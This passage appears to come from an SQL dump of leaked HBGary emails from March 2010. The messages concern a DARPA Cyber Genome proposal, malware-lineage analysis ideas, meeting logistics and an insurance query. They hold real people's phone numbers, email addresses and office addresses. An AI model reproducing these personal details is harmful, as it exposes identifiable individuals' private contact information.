DigitialDNA.&nbsp; I am working with Brian Masterson from Northrop Grumman.\r\n\r\n&nbsp;\r\n\r\nMy account on HBGary is under &#8216;christopher.churchey@ngc.com&#8217;\r\n\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris R. Churchey \r\nSoftware Engineer \r\nNorthrop Grumman Xetron \r\nOffice: (513) 881-3454 \r\nMobile: (937) 344-7207\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13488,'aaron_hbgary_com/13488.html'),(3363,'2010-03-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001641.M679914P3547Q3363.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: DARPA Cyber Genome SOW template','\r\n\r\n\r\n\r\n\r\nFW: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\nAaron, FYI, here is a SOW template.&nbsp; We do want everyone to send an initial draft of their SOWs today.\r\n\r\nChris\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Corcino, Stefanie E.\r\nSubject: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\nAll,\r\n\r\nI have created a boilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need to add Company specifics (for each Sub).\r\n\r\nPlease review, let me know if you feel anything should be added, reworded or removed.&nbsp; If you approve as is, please respond with &#8220;approve&#8221;.\r\n\r\nI&#8217;ll post the final &#8220;template&#8221; into our sharepoint site as soon as it becomes available.\r\n\r\n &lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT 1.docx&gt;&gt; \r\n\r\nRegards,\r\n\r\n\r\n\r\nStefanie Corcino, PMP\r\nProgram Manager - Subcontracts\r\nGeneral Dynamics - Advanced Information Systems\r\n1405 N. Fiesta Blvd.\r\nGilbert, AZ. 85233\r\nDirect Line: 480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n\r\nThis email message is for the sole use of the intended recipient\'s) and may contain GDAIS confidential or privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10139,'aaron_hbgary_com/10139.html'),(3364,'2010-03-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001641.M906419P3547Q3364.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: DARPA Cyber Genome SOW template','\r\n\r\n\r\n\r\n\r\nFW: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe (internal GD) first have to do the SOW for the teaming agreement,\r\nwhich is a general statement of what we expect everyone to be contributing.&nbsp; We\r\nare working on a template for the 4-year Statement of Work.\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s concentrate on the 4-year Statement of Work content.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 02, 2010 12:30 PM\r\nTo: Starr, Christopher H.\r\nSubject: RE: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nThis looks like the SOW for the teaming agreement, not the SOW\r\nfor the actual work for DARPA.&nbsp; In other words, it is the work HBGary will\r\ndo between now and March 15.&nbsp; Do I have this correct?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. [mailto:Chris.Starr@gd-ais.com] \r\nSent: Tuesday, March 02, 2010 12:20 PM\r\nTo: Bob Slapnik (HBGary)\r\nSubject: FW: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob, FYI, here is a SOW\r\ntemplate.&nbsp; We do want everyone to send an initial draft of their SOWs\r\ntoday.&nbsp; I have sent this to Aaron as well.\r\n\r\nChris\r\n\r\n_____________________________________________\r\nFrom: Corcino, Stefanie E.\r\nSubject: DARPA Cyber Genome SOW template\r\n\r\nAll,\r\n\r\nI have created a\r\nboilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need\r\nto add Company specifics (for each Sub).\r\n\r\nPlease review, let me know\r\nif you feel anything should be added, reworded or removed.&nbsp; If you approve\r\nas is, please respond with &#8220;approve&#8221;.\r\n\r\nI&#8217;ll post the final &#8220;template&#8221; into our sharepoint site\r\nas soon as it becomes available.\r\n\r\n&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT\r\n1.docx&gt;&gt; \r\n\r\nRegards,\r\n\r\nStefanie\r\nCorcino, PMP\r\nProgram Manager - Subcontracts\r\nGeneral Dynamics - Advanced Information Systems\r\n1405 N. Fiesta Blvd.\r\nGilbert, AZ. 85233\r\nDirect Line:\r\n480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nThis email\r\nmessage is for the sole use of the intended recipient\'s) and may contain GDAIS\r\nconfidential or privileged information. Any unauthorized review, use,\r\ndisclosure or distribution is prohibited. If you are not an intended recipient,\r\nplease contact the sender by reply email and destroy all copies of the original\r\nmessage.\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10521,'aaron_hbgary_com/10521.html'),(3365,'2010-03-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297001642.M151010P3547Q3365.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Insurance','Hi Aaron,\r\n\r\nSorry I did not get back to you sooner,  I had the day off yesterday.  I\r\nlooked at the UPS tracking center they said it was delivered on January\r\n29,2010.  I can call Jeff Bell and ask if he could send a new package to\r\nuse. \r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, February 27, 2010 1:49 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Insurance\r\n\r\nHi DeeAnn,\r\n\r\nMy insurance is supposed to start on Mar 1st.  I have not received any\r\ninsurance information.  Do you know what the status is?\r\n\r\nThanks,\r\nAaron=\r\n\r\n',5001,'aaron_hbgary_com/5001.html'),(3366,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001642.M426557P3547Q3366.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Insurance','Thanks.  I will double check the house.  I ordered new insurance cards so should be ok.  Thanks.\r\nAaron\r\n\r\nOn Mar 2, 2010, at 12:58 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Sorry I did not get back to you sooner,  I had the day off yesterday.  I\r\n> looked at the UPS tracking center they said it was delivered on January\r\n> 29,2010.  I can call Jeff Bell and ask if he could send a new package to\r\n> use. \r\n> \r\n> DeeAnn Buonaccorsi\r\n> Office Manager\r\n> HBGary, Inc.\r\n> 3604 Fair Oaks Blvd.  Suite 250\r\n> Sacramento, CA  95864\r\n> Tel:  916-459-4727 ext. 101\r\n> Fax: 916-481-1460\r\n> Email  deeann@hbgary.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, February 27, 2010 1:49 PM\r\n> To: DeeAnn Buonaccorsi\r\n> Subject: Insurance\r\n> \r\n> Hi DeeAnn,\r\n> \r\n> My insurance is supposed to start on Mar 1st.  I have not received any\r\n> insurance information.  Do you know what the status is?\r\n> \r\n> Thanks,\r\n> Aaron=\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1168,'aaron_hbgary_com/1168.html'),(3367,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001642.M938221P3547Q3367.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DARPA Cyber Genome SOW template','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: March 2, 2010 12:18:39 PM EST\r\n> To: \"Aaron Barr\" \r\n> Subject: FW: DARPA Cyber Genome SOW template\r\n> \r\n> Aaron, FYI, here is a SOW template.  We do want everyone to send an initial draft of their SOWs today.\r\n> \r\n> Chris\r\n> \r\n> \r\n> _____________________________________________\r\n> From: Corcino, Stefanie E.\r\n> Subject: DARPA Cyber Genome SOW template\r\n> \r\n> \r\n> All,\r\n> \r\n> I have created a boilerplate SOW for use on this proposal.  Areas in red are where we need to add Company specifics (for each Sub).\r\n> \r\n> Please review, let me know if you feel anything should be added, reworded or removed.  If you approve as is, please respond with “approve”.\r\n> \r\n> I’ll post the final “template” into our sharepoint site as soon as it becomes available.\r\n> \r\n> >\r\n> \r\n> Regards,\r\n> \r\n> \r\n> Stefanie Corcino, PMP\r\n> Program Manager - Subcontracts\r\n> General Dynamics - Advanced Information Systems\r\n> 1405 N. Fiesta Blvd.\r\n> Gilbert, AZ. 85233\r\n> Direct Line: 480.355.7707                                                                                                                                                \r\n> \r\n> \r\n> This email message is for the sole use of the intended recipient\'s) and may contain GDAIS confidential or privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11469,'aaron_hbgary_com/11469.html'),(3368,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001643.M140341P3547Q3368.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','ITHC','Responder 2.0 ships with a command-line tool, run ITHC.exe -help\r\nor -? from the command line.\r\n\r\nSee articles below for some info on how\r\nto automate DDNA runs:\r\n\r\nhttps://www.hbgary.com/news/automating-analysis-of-multiple-memory-images-using-responder-pro-part-one/\r\n\r\nhttps://www.hbgary.com/?s=ITHC\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15053,'aaron_hbgary_com/15053.html'),(3369,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001648.M186893P3547Q3369.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Fwd: BitBlaze slides','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Dawn Song \r\n> Date: March 1, 2010 6:25:06 PM EST\r\n> To: \"Starr, Christopher H.\" \r\n> Cc: \"Upchurch, Jason R.\" , \"Rodriguez, Harold\" , \"Harlow, Douglas M.\" , \"Wilson, Ben N.\" , \"Kipper, Gregory A.\" , \"Vela, Ryan\" , Aaron Barr , \"Ted Vera (HBGary)\" , \"Bob Slapnik (HBGary)\" , Phil Porras , \"Anita D\'Amico\" , BrianneO@securedecisions.avi.com, LaurinB@securedecisions.avi.com, KennyP@securedecisions.avi.com, \"Dang, Benjamin H.\" \r\n> Subject: BitBlaze slides\r\n> \r\n> Hi,\r\n>  here\'re some (not most up-to-date) slides on BitBlaze and its\r\n> application to malware analysis.\r\n> \r\n> thanks,\r\n> Dawn\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10945,'aaron_hbgary_com/10945.html'),(3370,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001648.M569327P3547Q3370.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Berkeley link','http://bitblaze.cs.berkeley.edu/\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4577,'aaron_hbgary_com/4577.html'),(3371,'2010-03-02','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001648.M760516P3547Q3371.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Berkeley link','By the way, feel free to tell me if these ideas aren\'t resonating.  I\r\nhave a thick skin too ;-)\r\n\r\n-- Adam\r\n\r\n\r\n\r\nOn 3/2/10 12:46 PM, Aaron Barr wrote:\r\n> http://bitblaze.cs.berkeley.edu/\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n',11467,'aaron_hbgary_com/11467.html'),(3372,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001648.M941294P3547Q3372.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Telecon','Guys,\r\n\r\nFor our brainstorming session tomorrow, maybe a good idea to include SecureDecisions and GD on the phone so they can participate or at a minimum listen to what we are talking about.  Is that possible?\r\n\r\nAaron\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5050,'aaron_hbgary_com/5050.html'),(3373,'2010-03-02','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001649.M190673P3547Q3373.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nOur address is:\r\n2214 Mt. Vernon Ave\r\nSuite 300\r\nAlexandria, VA 22301\r\n\r\nDoes 2PM work?\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 11:17 AM, Aaron Barr wrote:\r\n\r\n> I have a meeting from 1-1:30.  how about 1:30?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Are you available for a call at 1PM EST?\r\n>> If so, can you call into our conference line: 256.325.4671.\r\n>> \r\n>> 	Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n>> \r\n>>> Irby,\r\n>>> \r\n>>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>>> \r\n>>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>>> \r\n>>>> 	Regards,\r\n>>>> 	Irby\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hi Irby,\r\n>>>>> \r\n>>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>>> \r\n>>>>> Thanks,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',15047,'aaron_hbgary_com/15047.html'),(3374,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001649.M383531P3547Q3374.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: DARPA BAA','yep.\r\n\r\nOn Mar 2, 2010, at 2:23 PM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Our address is:\r\n> 2214 Mt. Vernon Ave\r\n> Suite 300\r\n> Alexandria, VA 22301\r\n> \r\n> Does 2PM work?\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> On Mar 2, 2010, at 11:17 AM, Aaron Barr wrote:\r\n> \r\n>> I have a meeting from 1-1:30.  how about 1:30?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Are you available for a call at 1PM EST?\r\n>>> If so, can you call into our conference line: 256.325.4671.\r\n>>> \r\n>>> 	Regards,\r\n>>> 	Irby\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Irby,\r\n>>>> \r\n>>>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>>>> \r\n>>>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>>>> \r\n>>>>> 	Regards,\r\n>>>>> 	Irby\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> Hi Irby,\r\n>>>>>> \r\n>>>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>>>> \r\n>>>>>> Thanks,\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1821,'aaron_hbgary_com/1821.html'),(3375,'2010-03-02','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001649.M573369P3547Q3375.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Telecon','Yes,\r\n\r\nThat works - they can either call into our conference line, or we can call out to another number.\r\n\r\n\r\nOur address is:\r\n2214 Mt. Vernon Ave\r\nSuite 300\r\nAlexandria, VA 22301\r\n\r\nDoes 2PM work?\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\nOn Mar 2, 2010, at 2:21 PM, Aaron Barr wrote:\r\n\r\n> Guys,\r\n> \r\n> For our brainstorming session tomorrow, maybe a good idea to include SecureDecisions and GD on the phone so they can participate or at a minimum listen to what we are talking about.  Is that possible?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',14496,'aaron_hbgary_com/14496.html'),(3376,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001649.M771150P3547Q3376.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Pikewerks','hey Chris,\r\n\r\nCan you give me a call when you get a chance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8044,'aaron_hbgary_com/8044.html'),(3377,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001650.M299923P3547Q3378.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,,','Re: DARPA Cyber Genome SOW template','The hard part for me right now (I guess chicken and egg problem) is its hard for me to write a 4 year SOW when I am not sure under which framework we are working under. &nbsp;We have ideas using more granularly identified traits as well as other \"hard artifacts\" to do relationship analysis. &nbsp;But I am not sure that is the approach you are going for.As an example. &nbsp;As you develop out your traits and artifact schema (this would be the normalization of the data), we would look for uniqueness or similarities in the traits (which represent the properties and behaviors), if a trait is unique, how unique. &nbsp;It can\'t be an exact match, we have to do some fuzzy analysis to do some percentage of match. &nbsp;Is all the code the same but there is a new variable type, or a word mispelling, etc. &nbsp;Needs to be a tool that can help do the analysis and the marking. &nbsp;So when the analysis is done the analyst can mark as a parent or child, etc.A graphic interface that allows you to visualize a piece of software and its traits with linkages to its lineage, maybe colorcoded or some other visual cue for similarity. &nbsp;So some lines are more closely related than others, so something that is spatially close would be more similar in color, etc.So HBGary and HBGary Federal can handle the trait enumeration and correlation of traits into lineages. &nbsp;We can work with Secure Decisions to develop the approaches to graphically represent this. &nbsp;Secure Decisions will be working on TA3 to develop visualizations for software behaviors in loop and linear software maps.So building of traits and trait correlation. &nbsp;But is this within the right approach?And again I think the benefit of SRI and UCBerkley in de-obsfucation and code execution is more for TA3 than TA1.AaronOn Mar 2, 2010, at 12:43 PM, Starr, Christopher H. wrote:We (internal GD) first have to do the SOW for the teaming agreement, which is a general statement of what we expect everyone to be contributing.&nbsp; We are working on a template for the 4-year Statement of Work.&nbsp;Let’s concentrate on the 4-year Statement of Work content.&nbsp;Chris&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:30 PMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;RE: DARPA Cyber Genome SOW template&nbsp;Chris,&nbsp;This looks like the SOW for the teaming agreement, not the SOW for the actual work for DARPA.&nbsp; In other words, it is the work HBGary will do between now and March 15.&nbsp; Do I have this correct?&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Starr, Christopher H. [mailto:Chris.Starr@gd-ais.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:20 PMTo:&nbsp;Bob Slapnik (HBGary)Subject:&nbsp;FW: DARPA Cyber Genome SOW template&nbsp;Bob, FYI, here is a SOW template.&nbsp; We do want everyone to send an initial draft of their SOWs today.&nbsp; I have sent this to Aaron as well.Chris_____________________________________________From:&nbsp;Corcino, Stefanie E.Subject:&nbsp;DARPA Cyber Genome SOW templateAll,I have created a boilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need to add Company specifics (for each Sub).Please review, let me know if you feel anything should be added, reworded or removed.&nbsp; If you approve as is, please respond with “approve”.I’ll post the&nbsp;final&nbsp;“template” into our sharepoint site as soon as it becomes available.&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT 1.docx&gt;&gt;Regards,Stefanie Corcino, PMPProgram Manager - SubcontractsGeneral Dynamics - Advanced Information Systems1405 N. Fiesta Blvd.Gilbert, AZ. 85233Direct Line: 480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This email message is for the sole use of the intended recipient\'s) and may contain GDAIS confidential or privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10 